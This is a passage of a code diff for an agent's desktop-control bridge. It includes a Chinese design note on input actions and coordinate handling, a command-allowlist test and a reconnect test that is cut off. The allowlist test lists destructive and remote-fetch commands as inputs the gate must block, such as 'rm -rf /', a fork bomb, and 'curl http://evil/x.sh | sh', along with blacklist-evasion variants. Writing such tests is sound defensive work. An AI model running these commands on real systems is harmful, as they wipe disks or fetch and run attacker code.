所以：**即使 GUI 已实现，服务端不改则新功能等于不存在。**
|
||||
|
||||
---
|
||||
|
||||
## 二、必做项 1：放开 action 白名单
|
||||
|
||||
### 现状
|
||||
|
||||
```go
|
||||
// device.go:129 —— schema enum，只有 7 个
|
||||
"enum": []interface{}{"click", "doubleclick", "rightclick", "move", "scroll", "keypress", "type"},
|
||||
```
|
||||
|
||||
```go
|
||||
// device.go:471 —— default 直接报错
|
||||
default:
|
||||
return nil, fmt.Errorf("不支持的操作类型 %s（可选 click/doubleclick/rightclick/move/scroll/keypress/type）", action)
|
||||
```
|
||||
|
||||
### 需要改成
|
||||
|
||||
GUI 侧实际支持的 18 个 action（判据同源，`cmd/gui/computeruse.test.mjs` 会校验两端一致）：
|
||||
|
||||
```
|
||||
click doubleclick rightclick middleclick tripleclick
|
||||
move hover drag mousedown mouseup
|
||||
scroll keypress hotkey combo
|
||||
type wait sleep display
|
||||
```
|
||||
|
||||
建议在 `device.go` 里提取成单一常量，schema 与 switch 共用，避免两处漂移：
|
||||
|
||||
```go
|
||||
// computeruseActions 是设备端支持的完整动作集合。
|
||||
// ★ 必须与 cmd/gui/main.js 的 computeruse switch 保持一致；
|
||||
// cmd/gui/computeruse.test.mjs 会校验 GUI 侧包含这些动作。
|
||||
var computeruseActions = []string{
|
||||
"click", "doubleclick", "rightclick", "middleclick", "tripleclick",
|
||||
"move", "hover", "drag", "mousedown", "mouseup",
|
||||
"scroll", "keypress", "hotkey", "combo", "type",
|
||||
"wait", "sleep", "display",
|
||||
}
|
||||
```
|
||||
|
||||
然后：
|
||||
- schema 的 `enum` 改为由 `computeruseActions` 生成
|
||||
- `switch` 的 `default` 分支的错误信息里列出这份清单
|
||||
|
||||
### 各动作的语义（供写 tool description 时参考）
|
||||
|
||||
| action | 必需参数 | 说明 |
|
||||
|---|---|---|
|
||||
| `click` | `x`,`y` | 可选 `button`（left/right/middle） |
|
||||
| `doubleclick` | `x`,`y` | |
|
||||
| `rightclick` | `x`,`y` | 等价 `click` + `button:right` |
|
||||
| `middleclick` | `x`,`y` | 中键 |
|
||||
| `tripleclick` | `x`,`y` | 三击选中整行 |
|
||||
| `move` / `hover` | `x`,`y` | 只移动不点击，用于触发 tooltip |
|
||||
| `mousedown` / `mouseup` | `x`,`y` | 按下/释放分离，配对可做「按住」 |
|
||||
| `drag` | `x`,`y`,`tox`,`toy` | 可选 `steps`（默认 12，上限 60） |
|
||||
| `scroll` | `dy` | 可选 `dx`（横向） |
|
||||
| `keypress` | `key` | 如 `ctrl+c`、`alt+f4` |
|
||||
| `hotkey` / `combo` | `key` | 与 keypress 同义 |
|
||||
| `type` | `text` | |
|
||||
| `wait` / `sleep` | `ms` | 显式等待，等 UI/动画完成 |
|
||||
| `display` | — | 返回各显示器 bounds + scaleFactor |
|
||||
|
||||
> ⚠ **`drag` 的分步移动不是可有可无的**：canvas 拖拽、列表排序、滑动条
|
||||
> 这类应用依赖中间 `mousemove` 事件，一步到位会失效。所以 `steps` 建议透传。
|
||||
|
||||
---
|
||||
|
||||
## 三、必做项 2：透传新参数
|
||||
|
||||
### 现状
|
||||
|
||||
`device.go` 的 `switch action`（第 439 行起）只转发这些：
|
||||
|
||||
```go
|
||||
params["x"], params["y"], params["button"]
|
||||
params["dy"]
|
||||
params["key"]
|
||||
params["text"]
|
||||
```
|
||||
|
||||
其余参数**被静默丢弃**，即使 LLM 传了也到不了设备。
|
||||
|
||||
### 需要补上
|
||||
|
||||
| 参数 | 哪些动作需要 | 缺失后果 |
|
||||
|---|---|---|
|
||||
| `tox` / `toy` | `drag` | 拖拽终点丢失，拖不动 |
|
||||
| `steps` | `drag` | 退化成一步到位，拖拽排序类操作失效 |
|
||||
| `dx` | `scroll` | 横向滚动不可用 |
|
||||
| `ms` / `duration` | `wait` / `sleep` | 等待时长不可控 |
|
||||
| `button` | `hover`/`mousedown`/`mouseup`/`tripleclick` | 中键/右键按不下 |
|
||||
| `physical` | 全部坐标类 | 无法声明坐标系（见第五节） |
|
||||
|
||||
建议实现（保持与现有风格一致）：
|
||||
|
||||
```go
|
||||
// 透传辅助：从 args 取整数键，缺省则不写入 params。
|
||||
func putInt(params map[string]interface{}, args map[string]interface{}, key string) {
|
||||
if v, ok := args[key].(float64); ok {
|
||||
params[key] = int(v)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 `switch` 之后统一补一遍（避免每个 case 重复）：
|
||||
|
||||
```go
|
||||
for _, k := range []string{"tox", "toy", "steps", "dx", "ms", "duration", "physical"} {
|
||||
putInt(params, args, k)
|
||||
}
|
||||
```
|
||||
|
||||
> ⚠ `physical` 的类型是布尔或字符串都可能，取决于 LLM 怎么填。
|
||||
> 建议 schema 里显式声明 `"type": "boolean"`，并在 `putInt` 之外单独处理。
|
||||
|
||||
---
|
||||
|
||||
## 四、必做项 3：统一 scroll 方向语义 ⚠️
|
||||
|
||||
### 现状：两侧约定相反
|
||||
|
||||
**服务端**（`device.go:130`）：
|
||||
|
||||
```go
|
||||
"dy": map[string]interface{}{"type": "integer", "description": "scroll 滚动量：正=向下，负=向上"},
|
||||
```
|
||||
|
||||
**GUI / Windows 惯例**：正 = 向上。
|
||||
|
||||
这不是笔误级的小问题——**方向反了会让 agent 在页面上滚到完全相反的位置**，
|
||||
且因为「能滚」，不会报错，只会静默地做错事，比崩溃更难发现。
|
||||
|
||||
### 建议
|
||||
|
||||
统一为 **Windows 惯例：正 = 向上，负 = 向下**（与鼠标滚轮一致，也与 GUI 实现一致）。
|
||||
改 schema description：
|
||||
|
||||
```go
|
||||
"dy": map[string]interface{}{
|
||||
"type": "integer",
|
||||
"description": "scroll 垂直滚动量：正=向上滚，负=向下滚（与鼠标滚轮方向一致）。可选 dx 做横向滚动，正=向右",
|
||||
},
|
||||
```
|
||||
|
||||
GUI 侧对应实现（`cmd/gui/main.js`）已按此约定，无需改动。
|
||||
|
||||
> 如果服务端坚持保留「正=向下」，则必须**同步改 GUI**，否则两侧永远对不上。
|
||||
> 二选一，但必须写进注释并进判据。
|
||||
|
||||
---
|
||||
|
||||
## 五、建议项：把坐标约定写进注释（防重蹈）
|
||||
|
||||
这条不是功能需求，而是**防止后来人再犯同一个错**——我本人就在这一轮犯过。
|
||||
|
||||
### 事实
|
||||
|
||||
**截图给模型的像素、Win32 坐标 API 的坐标，是同一个坐标系：物理像素。不要换算。**
|
||||
|
||||
实测证据（Electron 主进程内，192 DPI / 200% 缩放屏）：
|
||||
|
||||
```
|
||||
Electron screen API (DIP) : 1260 x 840 scaleFactor=2
|
||||
GetSystemMetrics : 2520 x 1680
|
||||
SetCursorPos(200,200) → GetCursorPos 读回 (200,200) ← 恒等，不缩放
|
||||
```
|
||||
|
||||
原因是 Electron 主进程是 **per-monitor DPI-aware**，此感知下 Win32 坐标不做虚拟化。
|
||||
|
||||
### 曾经的坑
|
||||
|
||||
本仓曾在 `cmd/gui/main.js` 加过：
|
||||
|
||||
```go
|
||||
absX = ox + rawX / scaleFactor // ← 错的
|
||||
```
|
||||
|
||||
理由是「SetCursorPos 期望 DIP」——**那个前提不成立**，DIP 行为只出现在
|
||||
DPI-*unaware* 进程里。加了之后反而把原本正确的点击改坏：200% 缩放屏上
|
||||
点 (600,400) 会被送到 (400,267)，**越靠右下偏得越远**。
|
||||
|
||||
（易误判之处：在普通 node 进程里测同一个函数，读到的是 1260×840，
|
||||
那是虚拟化后的值，会把人带偏。必须在 Electron 内测。）
|
||||
|
||||
### 建议
|
||||
|
||||
在两处加注释：
|
||||
|
||||
1. `device.go` 的 `computeruse` 函数上方
|
||||
2. tool schema 里 `x`/`y` 的 description
|
||||
|
||||
```go
|
||||
// 坐标约定：x/y 为**物理像素**，与 screensee 截图坐标系一致，
|
||||
// 也与设备端 Win32 坐标一致，**不需要按 scaleFactor 换算**。
|
||||
// （设备端 GUI 是 per-monitor DPI-aware，Win32 坐标不做虚拟化。）
|
||||
// 仅当调用方显式传 physical=false 时，设备端才按 DIP 再乘回缩放比。
|
||||
```
|
||||
|
||||
`cmd/gui/computeruse.test.mjs` 已加判据防止 GUI 侧回退（会检测 `/scale` 是否回来了）。
|
||||
**服务端侧目前无对等判据**，建议补一个，锁定 schema 里的 description 不含
|
||||
「需换算」之类的误导表述。
|
||||
|
||||
---
|
||||
|
||||
## 六、模式 A（agent 独立光标 + 后台注入）需要服务端知道的事
|
||||
|
||||
### 行为变化
|
||||
|
||||
GUI 默认启用 `agentCursor.mode = "overlay"`：
|
||||
|
||||
- agent 操作时**不再移动用户的真实鼠标**，用户可同时正常使用电脑
|
||||
- GUI 会在目标位置绘制一个 mascot 形象作为 agent 的虚拟光标，并有移动/点击脉冲动画
|
||||
- 实际输入通过 `PostMessage` 直接投递到目标窗口句柄
|
||||
|
||||
配置项（`gui-prefs.json` → `deviceBridge.agentCursor.mode`）：
|
||||
|
||||
| 值 | 行为 |
|
||||
|---|---|
|
||||
| `"overlay"` | **默认**。不动用户鼠标，后台注入 |
|
||||
| `"real"` | 旧行为。操作真实鼠标（`SetCursorPos` + `mouse_event`） |
|
||||
|
||||
### 服务端无需改动，但要知道三条限制
|
||||
|
||||
1. **只对「接受窗口消息的程序」可靠。**
|
||||
原生 Win32 程序（记事本、Excel、Office 等）可靠；Chromium/Electron 自绘界面、
|
||||
多数游戏、DirectX 程序会忽略合成消息。这是 Windows 消息模型的硬限制，
|
||||
不是实现缺陷。
|
||||
|
||||
2. **注入失败会明确报错，不静默回退。**
|
||||
用户既然选择「不抢鼠标」，就不该偷偷改成操作真实鼠标。所以失败时
|
||||
`status=error`，`error` 里说明原因（例如「该坐标下没有窗口」）。
|
||||
|
||||
3. **键盘类动作需要先有点击类动作。**
|
||||
`keypress`/`hotkey`/`type` 不带坐标，且后台注入**不移动真实光标**，
|
||||
所以 `GetCursorPos` 拿到的是**用户自己**的光标位置（通常不是 agent 要操作的地方）。
|
||||
设备端记录「上一次鼠标操作命中的窗口」，键盘动作投递到那里。
|
||||
**若从未点过，键盘动作会报错。** 服务端在 tool description 里说明这一依赖关系，
|
||||
可以减少 LLM 调错。
|
||||
|
||||
---
|
||||
|
||||
## 七、验收方式
|
||||
|
||||
GUI 侧判据（服务端改完后跑）：
|
||||
|
||||
```bash
|
||||
cd cmd/gui && npm test
|
||||
```
|
||||
|
||||
含 `computeruse.test.mjs`，会校验两端 action 覆盖面的一致性。
|
||||
|
||||
服务端侧建议补的判据（放在 `internal/plugins/remotedevice/`）：
|
||||
|
||||
1. schema `enum` 覆盖全部 18 个 action
|
||||
2. 每个 action 在 `switch` 里都有对应 case，不落 `default`
|
||||
3. `tox`/`toy`/`steps`/`dx`/`ms` 能透传到下发 JSON（可用现有
|
||||
`binary_test.go:471` 的 computeruse 下发测试作模板，参考它如何断言收到的 JSON）
|
||||
|
||||
---
|
||||
|
||||
## 八、附：本次 GUI 侧一并修掉的两个 bug（服务端可参考）
|
||||
|
||||
1. **GUI 误判「服务端未启动」**：原实现只探 `localhost:8080`，
|
||||
服务端在 WSL/远端时探不通 → 每次启动误判服务没起 → 去拉起 GUI 旁不存在的
|
||||
`homed.exe` → 干等 8s 超时。已改为按 `connections.json` 里已配置的连接探测。
|
||||
（服务端侧无改动，但这条能解释历史上 GUI 日志里刷屏的
|
||||
`homed failed to start within timeout`。）
|
||||
|
||||
2. **koffi 不认 Win32 的 `byte` 类型名**：
|
||||
`keybd_event(byte bVk, ...)` 会抛
|
||||
`Unknown or invalid type name 'byte'`，必须写 `uint8`。
|
||||
曾导致组合键整体返回 `keybd_event unavailable`，而单键 click 不受影响、极易漏掉。
|
||||
与服务端无直接关系，但若服务端将来也走 FFI 调 Win32，注意这一点。
|
||||
210
cmd/gui/cmd-allowlist.test.mjs
Normal file
210
cmd/gui/cmd-allowlist.test.mjs
Normal file
@ -0,0 +1,210 @@
|
||||
// 设备命令闸：从黑名单改为白名单的**行为**判据（2026-10-05）。
|
||||
//
|
||||
// ## 要判的是什么
|
||||
//
|
||||
// 改之前 GUI 侧是一份 10 条黑名单子串匹配（main.js 的 argsSafe）。
|
||||
// 它匹配**字面子串** "rm -rf"，而命令语义由**分词后的 argv** 决定。
|
||||
// 我在 node 里跑过那份真实逻辑，以下全部 ALLOW：
|
||||
//
|
||||
// "rm -rf /" 多空格
|
||||
// "rm -r -f /" 拆开写
|
||||
// "rm\t-rf /" 制表符
|
||||
// "rm -fr /" 换序
|
||||
//
|
||||
// 而 "/bin/rm -rf /" 反而被拦 —— 完全反过来的行为。
|
||||
//
|
||||
// ★ 关键前提：触发这道闸的是 **agent**（经 device_ctl_cmdrun），不是人。
|
||||
// 所以它必须是机器闸。白名单对参数变形免疫，黑名单不免疫。
|
||||
//
|
||||
// ## 判据形态
|
||||
//
|
||||
// 镜像 cmd/waiter/cmd_allowlist_test.go 的结构：
|
||||
// ① 默认集必须挡住破坏性命令（这道闸存在的唯一理由）
|
||||
// ② 默认集不得过窄（常规命令要能跑）
|
||||
// ③ ★ 分隔符变形必须全部挡住（黑名单时代的真实漏洞）
|
||||
// ④ 配置可扩展；空列表/全空白 ⇒ 回退默认集，**绝不「全放行」**
|
||||
//
|
||||
// 运行：node cmd/gui/cmd-allowlist.test.mjs
|
||||
|
||||
import { readFileSync } from "node:fs";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { dirname, join } from "node:path";
|
||||
import vm from "node:vm";
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url));
|
||||
const src = readFileSync(join(here, "main.js"), "utf8");
|
||||
|
||||
let failures = 0;
|
||||
const check = (name, ok, detail) => {
|
||||
if (ok) console.log(` ✓ ${name}`);
|
||||
else {
|
||||
failures++;
|
||||
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
|
||||
}
|
||||
};
|
||||
|
||||
function extractFn(name) {
|
||||
let start = src.indexOf(`function ${name}(`);
|
||||
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
|
||||
let i = src.indexOf("{", start);
|
||||
let depth = 0;
|
||||
for (let j = i; j < src.length; j++) {
|
||||
const c = src[j];
|
||||
if (c === '"' || c === "'" || c === "`") {
|
||||
const q = c;
|
||||
j++;
|
||||
while (j < src.length && src[j] !== q) {
|
||||
if (src[j] === "\\") j++;
|
||||
j++;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "/") {
|
||||
while (j < src.length && src[j] !== "\n") j++;
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "*") {
|
||||
j = src.indexOf("*/", j) + 1;
|
||||
continue;
|
||||
}
|
||||
if (c === "{") depth++;
|
||||
else if (c === "}") {
|
||||
depth--;
|
||||
if (depth === 0) return src.slice(start, j + 1);
|
||||
}
|
||||
}
|
||||
throw new Error(`unbalanced braces for ${name}`);
|
||||
}
|
||||
|
||||
// 抽出常量数组 defaultGuiCmdAllowlist 的字面内容。
|
||||
const defaultListMatch = src.match(
|
||||
/const defaultGuiCmdAllowlist\s*=\s*\[([\s\S]*?)\];/,
|
||||
);
|
||||
if (!defaultListMatch) throw new Error("cannot find defaultGuiCmdAllowlist");
|
||||
const defaultGuiCmdAllowlist = new vm.Script(
|
||||
"[" + defaultListMatch[1] + "]",
|
||||
).runInNewContext();
|
||||
|
||||
// 被测代码：真实的 buildGuiCmdMatcher / argsSafe / reloadGuiCmdAllowlist。
|
||||
const sandbox = {
|
||||
console,
|
||||
defaultGuiCmdAllowlist,
|
||||
guiCmdAllowed: null,
|
||||
loadGuiPrefs: () => ({ deviceBridge: { enabled: true } }),
|
||||
Set,
|
||||
Array,
|
||||
String,
|
||||
};
|
||||
vm.createContext(sandbox);
|
||||
vm.runInContext(
|
||||
[
|
||||
// 必须先声明再赋值：main.js 里是 `let guiCmdAllowed = buildGuiCmdMatcher(null)`，
|
||||
// 而 buildGuiCmdMatcher / defaultGuiCmdAllowlist 要在它之后才可用。
|
||||
// 直接写 `let guiCmdAllowed = buildGuiCmdMatcher(null)` 会命中 TDZ。
|
||||
"let guiCmdAllowed = null;",
|
||||
"var defaultGuiCmdAllowlist = [];",
|
||||
extractFn("buildGuiCmdMatcher"),
|
||||
extractFn("reloadGuiCmdAllowlist"),
|
||||
"guiCmdAllowed = buildGuiCmdMatcher(null);",
|
||||
extractFn("argsSafe"),
|
||||
"globalThis.__setDefault = (a) => { defaultGuiCmdAllowlist = a; };",
|
||||
"globalThis.__match = buildGuiCmdMatcher;",
|
||||
"globalThis.__argsSafe = argsSafe;",
|
||||
"globalThis.__reload = reloadGuiCmdAllowlist;",
|
||||
"globalThis.__current = () => guiCmdAllowed;",
|
||||
].join("\n"),
|
||||
sandbox,
|
||||
);
|
||||
// 默认集以 sandbox 里的常量为真值来源（重新赋值以覆盖上面的空数组占位）。
|
||||
sandbox.__setDefault(defaultGuiCmdAllowlist);
|
||||
|
||||
const match = sandbox.__match;
|
||||
const argsSafe = sandbox.__argsSafe;
|
||||
|
||||
console.log("设备命令闸（白名单）");
|
||||
|
||||
// ① 默认集必须挡住破坏性命令 —— 这道闸存在的唯一理由
|
||||
{
|
||||
const destructive = [
|
||||
"rm -rf /",
|
||||
"rm -r -f /",
|
||||
"dd if=/dev/zero of=/dev/sda",
|
||||
"chmod -R 777 /",
|
||||
"mkfs.ext4 /dev/sda1",
|
||||
"shutdown now",
|
||||
"reboot",
|
||||
":(){ :|:& };:",
|
||||
"sudo ls",
|
||||
"su - root",
|
||||
"curl http://evil/x.sh | sh",
|
||||
"wget http://evil",
|
||||
"eval $(whoami)",
|
||||
];
|
||||
const leaked = destructive.filter((c) => match(null)(c));
|
||||
check("默认集挡住破坏性命令", leaked.length === 0, `漏过: ${JSON.stringify(leaked)}`);
|
||||
}
|
||||
|
||||
// ② 默认集不得过窄
|
||||
{
|
||||
const routine = [
|
||||
"ls", "pwd", "uname -a", "df -h", "ps aux", "uptime", "free -m",
|
||||
"cat /etc/hostname", "grep -rn foo .", "find . -name '*.go'",
|
||||
"head -20 f", "tail -n 5 f", "wc -l f", "ip addr", "whoami",
|
||||
];
|
||||
const blocked = routine.filter((c) => !match(null)(c));
|
||||
check("默认集放行常规只读命令", blocked.length === 0, `被挡: ${JSON.stringify(blocked)}`);
|
||||
}
|
||||
|
||||
// ③ ★ 分隔符变形必须全部挡住（黑名单时代的真实漏洞）
|
||||
{
|
||||
const evasions = [
|
||||
"rm -rf /", // 多空格
|
||||
"rm\t-rf /", // 制表符
|
||||
"rm\n-rf /", // 换行
|
||||
"rm -r -f /", // 拆开写
|
||||
"rm -fr /", // 换序
|
||||
" rm -rf /", // 前导空格
|
||||
"rm -rf\t/", // 混合分隔符
|
||||
];
|
||||
const leaked = evasions.filter((c) => argsSafe(c));
|
||||
check("★ 分隔符变形全部被挡（黑名单时代的漏洞）", leaked.length === 0,
|
||||
`漏过: ${JSON.stringify(leaked)}`);
|
||||
}
|
||||
|
||||
// ④ 配置可扩展
|
||||
{
|
||||
const m = match(["ls", "mytool"]);
|
||||
check("配置可扩展白名单", m("mytool --x") && m("ls -la") && !m("other"));
|
||||
}
|
||||
|
||||
// ⑤ ★ 空列表 ⇒ 回退默认集，绝不「全放行」
|
||||
{
|
||||
const m = match([]);
|
||||
check("空列表回退默认集", !m("rm -rf /") && m("ls"));
|
||||
const m2 = match(null);
|
||||
check("null 回退默认集", !m2("rm -rf /") && m2("ls"));
|
||||
const m3 = match(["", " "]);
|
||||
check("全空白配置回退默认集（不放行）", !m3("rm -rf /") && m3("ls"));
|
||||
}
|
||||
|
||||
// ⑥ VAR=value 前缀与全路径
|
||||
{
|
||||
const m = match(["ls", "cat"]);
|
||||
check("VAR=value 前缀被跳过", m("FOO=bar ls -la"));
|
||||
// 全路径取 basename：/bin/ls 应等价于 ls
|
||||
check("全路径取 basename 后匹配", m("/bin/ls -la") && m("/usr/bin/cat f"));
|
||||
check("空命令拒绝", !m("") && !m(" "));
|
||||
}
|
||||
|
||||
// ⑦ reloadGuiCmdAllowlist 在无 prefs 时也回退默认集
|
||||
{
|
||||
sandbox.__reload();
|
||||
check("reload 后生效且为默认集", !argsSafe("rm -rf /") && argsSafe("ls -la"));
|
||||
}
|
||||
|
||||
console.log(
|
||||
failures === 0
|
||||
? "\nAll cmd-allowlist checks passed."
|
||||
: `\n${failures} check(s) failed.`,
|
||||
);
|
||||
process.exit(failures === 0 ? 0 : 1);
|
||||
379
cmd/gui/device-bridge-liveness.test.mjs
Normal file
379
cmd/gui/device-bridge-liveness.test.mjs
Normal file
@ -0,0 +1,379 @@
|
||||
// 设备桥**心跳 + 断线重连**的行为判据（2026-10-05）。
|
||||
//
|
||||
// ## 要判的是什么
|
||||
//
|
||||
// 修之前 GUI 侧的设备桥有两个洞，合起来的效果是「一次失联，终身失联」：
|
||||
//
|
||||
// 1. **不发 ping**。waiter 侧有 pingLoop（internal/devicebridge/client/bridge.go:636，
|
||||
// 每 30s 一个 0x9 帧），GUI 侧全文件一次 ping 都没发过。
|
||||
// 而 remotedevice 服务端**没有设备侧读超时**（registry.go 里没有
|
||||
// SetReadDeadline）—— 不发心跳就没人能发现设备已死，网关会把一台
|
||||
// 半死的设备长期显示为 online。
|
||||
//
|
||||
// 2. **不重连**。startDeviceBridge 只有两个调用点（启动 / 配置变更），
|
||||
// 失败就 console.error 结束。GUI 是最容易被休眠/切网/服务端重启打断的
|
||||
// 形态，合盖一次或 WiFi 抖一下，设备桥就再也回不来，
|
||||
// 直到用户重启 GUI 或手动改一次配置。
|
||||
//
|
||||
// ## 为什么用「真实执行」而不是检查文本
|
||||
//
|
||||
// 判据在 node:vm 沙箱里把 device-bridge 那几个函数**抽出来真的跑**：
|
||||
// 用假 socket 驱动「连接成功 → 断线 → 重连 → 再断线」，
|
||||
// 数真实的重连次数与心跳帧数，而不是 grep `ping` 出现过几次。
|
||||
//
|
||||
// ★ 特别要判「连都没连上」那条路：connectDeviceWS 失败时走 reject，
|
||||
// 当时 socket 从未 upgraded。如果重连只挂在 socket 的 close 事件上，
|
||||
// 这条路**根本不会有第二次排程** —— 这正是容易写错的地方。
|
||||
//
|
||||
// 运行：node cmd/gui/device-bridge-liveness.test.mjs
|
||||
|
||||
import { readFileSync } from "node:fs";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { dirname, join } from "node:path";
|
||||
import vm from "node:vm";
|
||||
import { setTimeout as realSleep } from "node:timers/promises";
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url));
|
||||
const src = readFileSync(join(here, "main.js"), "utf8");
|
||||
|
||||
let failures = 0;
|
||||
const check = (name, ok, detail) => {
|
||||
if (ok) console.log(` ✓ ${name}`);
|
||||
else {
|
||||
failures++;
|
||||
console.log(` ✗ ${name}${detail ? " — " + detail : ""}`);
|
||||
}
|
||||
};
|
||||
|
||||
// 从 main.js 里按名字抽出函数源码。
|
||||
function extractFn(name) {
|
||||
// 先试 async function（connectDeviceBridgeOnce 是 async），
|
||||
// 再试普通 function。顺序不能反：普通形式的 needle
|
||||
// 「function connectDeviceBridgeOnce(」会命中 async 版本里的
|
||||
// 「async function connectDeviceBridgeOnce(」，切出源码时丢前缀。
|
||||
let start = src.indexOf(`async function ${name}(`);
|
||||
let isAsync = true;
|
||||
if (start === -1) {
|
||||
start = src.indexOf(`function ${name}(`);
|
||||
isAsync = false;
|
||||
}
|
||||
if (start === -1) throw new Error(`cannot find function ${name} in main.js`);
|
||||
let i = src.indexOf("{", start);
|
||||
let depth = 0;
|
||||
for (let j = i; j < src.length; j++) {
|
||||
const c = src[j];
|
||||
if (c === '"' || c === "'" || c === "`") {
|
||||
const q = c;
|
||||
j++;
|
||||
while (j < src.length && src[j] !== q) {
|
||||
if (src[j] === "\\") j++;
|
||||
j++;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "/") {
|
||||
while (j < src.length && src[j] !== "\n") j++;
|
||||
continue;
|
||||
}
|
||||
if (c === "/" && src[j + 1] === "*") {
|
||||
j = src.indexOf("*/", j) + 1;
|
||||
continue;
|
||||
}
|
||||
if (c === "{") depth++;
|
||||
else if (c === "}") {
|
||||
depth--;
|
||||
if (depth === 0) return src.slice(start, j + 1);
|
||||
}
|
||||
}
|
||||
throw new Error(`unbalanced braces for ${name} (async=${isAsync})`);
|
||||
}
|
||||
|
||||
const devicePingIntervalMs = Number(
|
||||
src.match(/const devicePingIntervalMs\s*=\s*(\d+)/)?.[1] ?? 0,
|
||||
);
|
||||
const deviceReconnectBaseMs = Number(
|
||||
src.match(/const deviceReconnectBaseMs\s*=\s*(\d+)/)?.[1] ?? 0,
|
||||
);
|
||||
const deviceReconnectMaxMs = Number(
|
||||
src.match(/const deviceReconnectMaxMs\s*=\s*(\d+)/)?.[1] ?? 0,
|
||||
);
|
||||
|
||||
// ---- 假 socket：记录写出的控制帧，模拟 close ----
|
||||
function makeFakeSock() {
|
||||
const written = [];
|
||||
return {
|
||||
written,
|
||||
destroyed: false,
|
||||
write(buf) {
|
||||
written.push(Buffer.from(buf));
|
||||
return true;
|
||||
},
|
||||
destroy() {
|
||||
this.destroyed = true;
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function runScenario({ connectFailsFirst = 0, label }) {
|
||||
// 状态
|
||||
let deviceBridge = null;
|
||||
let devicePingTimer = null;
|
||||
let deviceReconnectTimer = null;
|
||||
let deviceReconnectAttempt = 0;
|
||||
let deviceWanted = false;
|
||||
const connectCalls = [];
|
||||
const logLines = [];
|
||||
let connectAttempt = 0;
|
||||
|
||||
// 用可控的 timer：立即执行「到期」，但记录延迟值。
|
||||
const timers = [];
|
||||
function fakeSetTimeout(fn, ms) {
|
||||
timers.push({ fn, ms, kind: "timeout" });
|
||||
return timers.length;
|
||||
}
|
||||
function fakeClearTimeout(id) {
|
||||
if (id && timers[id - 1]) timers[id - 1].cancelled = true;
|
||||
}
|
||||
function fakeSetInterval(fn, ms) {
|
||||
timers.push({ fn, ms, kind: "interval", cancelled: false });
|
||||
return timers.length;
|
||||
}
|
||||
function fakeClearInterval(id) {
|
||||
if (id && timers[id - 1]) timers[id - 1].cancelled = true;
|
||||
}
|
||||
// 推进 n 个 timer（全部执行）。
|
||||
// ★ 必须 await：重连链是 async（connectDeviceBridgeOnce 里 await
|
||||
// doConnectDeviceBridge），若不等它跑完，下一次 runTimers 会看到一个
|
||||
// 「已 ran」的 timer 列表而找不到新排程的那个，测出来就是「没重连」。
|
||||
async function runTimers(n = 1) {
|
||||
for (let k = 0; k < n; k++) {
|
||||
const t = timers.find((x) => !x.cancelled && !x.ran);
|
||||
if (!t) return false;
|
||||
t.ran = true;
|
||||
await t.fn();
|
||||
// 让被测代码里 await 之后的 continuation（排程下一轮）跑完
|
||||
await realSleep(0);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
function liveIntervalMs() {
|
||||
const t = timers.find((x) => x.kind === "interval" && !x.cancelled);
|
||||
return t ? t.ms : 0;
|
||||
}
|
||||
|
||||
const sandbox = {
|
||||
console: { log: (...a) => logLines.push(a.join(" ")), error: (...a) => logLines.push("ERR " + a.join(" ")) },
|
||||
crypto: { randomBytes: (n) => Buffer.alloc(n, 7) },
|
||||
loadGuiPrefs: () => ({
|
||||
deviceBridge: { enabled: true, gateway: "ws://x/ws", token: "t" },
|
||||
}),
|
||||
devicePingIntervalMs,
|
||||
deviceReconnectBaseMs,
|
||||
deviceReconnectMaxMs,
|
||||
Math,
|
||||
Buffer,
|
||||
setTimeout: fakeSetTimeout,
|
||||
clearTimeout: fakeClearTimeout,
|
||||
setInterval: fakeSetInterval,
|
||||
clearInterval: fakeClearInterval,
|
||||
};
|
||||
|
||||
// 需要沙箱内能读写这几个状态：用闭包变量暴露 getter/setter
|
||||
const ctx = vm.createContext(sandbox);
|
||||
// 把状态变量以「属性」形式暴露给被测代码：改写为 sandbox 上的普通变量不可行
|
||||
// （被测代码是顶层 let），所以改为在沙箱里重新声明同名 let 并暴露 setter。
|
||||
const prelude = `
|
||||
let deviceBridge = null;
|
||||
let devicePingTimer = null;
|
||||
let deviceReconnectTimer = null;
|
||||
let deviceReconnectAttempt = 0;
|
||||
let deviceWanted = false;
|
||||
let deviceBridgeBound = false;
|
||||
let deviceBridgeBindError = "";
|
||||
let deviceBridgeAddr = "";
|
||||
let deviceBridgeId = "";
|
||||
globalThis.__socks = [];
|
||||
var __connectCalls = [];
|
||||
globalThis.__connectCalls = __connectCalls;
|
||||
var __shouldFail = __failTimes;
|
||||
globalThis.__socksHolder = true;
|
||||
globalThis.__peek = () => ({ deviceBridge, devicePingTimer, deviceReconnectTimer,
|
||||
deviceReconnectAttempt, deviceWanted });
|
||||
`;
|
||||
sandbox.__failTimes = connectFailsFirst;
|
||||
// connectDeviceWS 的替身：前 N 次 reject，之后给一个假 sock
|
||||
const connectStub = `
|
||||
async function connectDeviceWS(url, token, onMsg) {
|
||||
__connectCalls.push(url);
|
||||
if (__shouldFail > 0) { __shouldFail--; throw new Error("simulated connect failure"); }
|
||||
const sock = { __written: [], destroyed: false,
|
||||
write(b) { this.__written.push(Buffer.from(b)); return true; },
|
||||
destroy() { this.destroyed = true; } };
|
||||
__socks.push(sock);
|
||||
return { send(){}, close(){ sock.destroy(); }, __sock: sock };
|
||||
}
|
||||
function startDevicePing(sock) {
|
||||
if (devicePingTimer) clearInterval(devicePingTimer);
|
||||
devicePingTimer = setInterval(() => {
|
||||
try { if (!sock || sock.destroyed) return; sendDeviceControlFrame(sock, 0x9, null); } catch(e){}
|
||||
}, devicePingIntervalMs);
|
||||
}
|
||||
function stopDevicePing() { if (devicePingTimer) { clearInterval(devicePingTimer); devicePingTimer = null; } }
|
||||
`;
|
||||
|
||||
const fns = [
|
||||
"sendDeviceControlFrame",
|
||||
"scheduleDeviceReconnect",
|
||||
"stopDevicePing",
|
||||
"startDevicePing",
|
||||
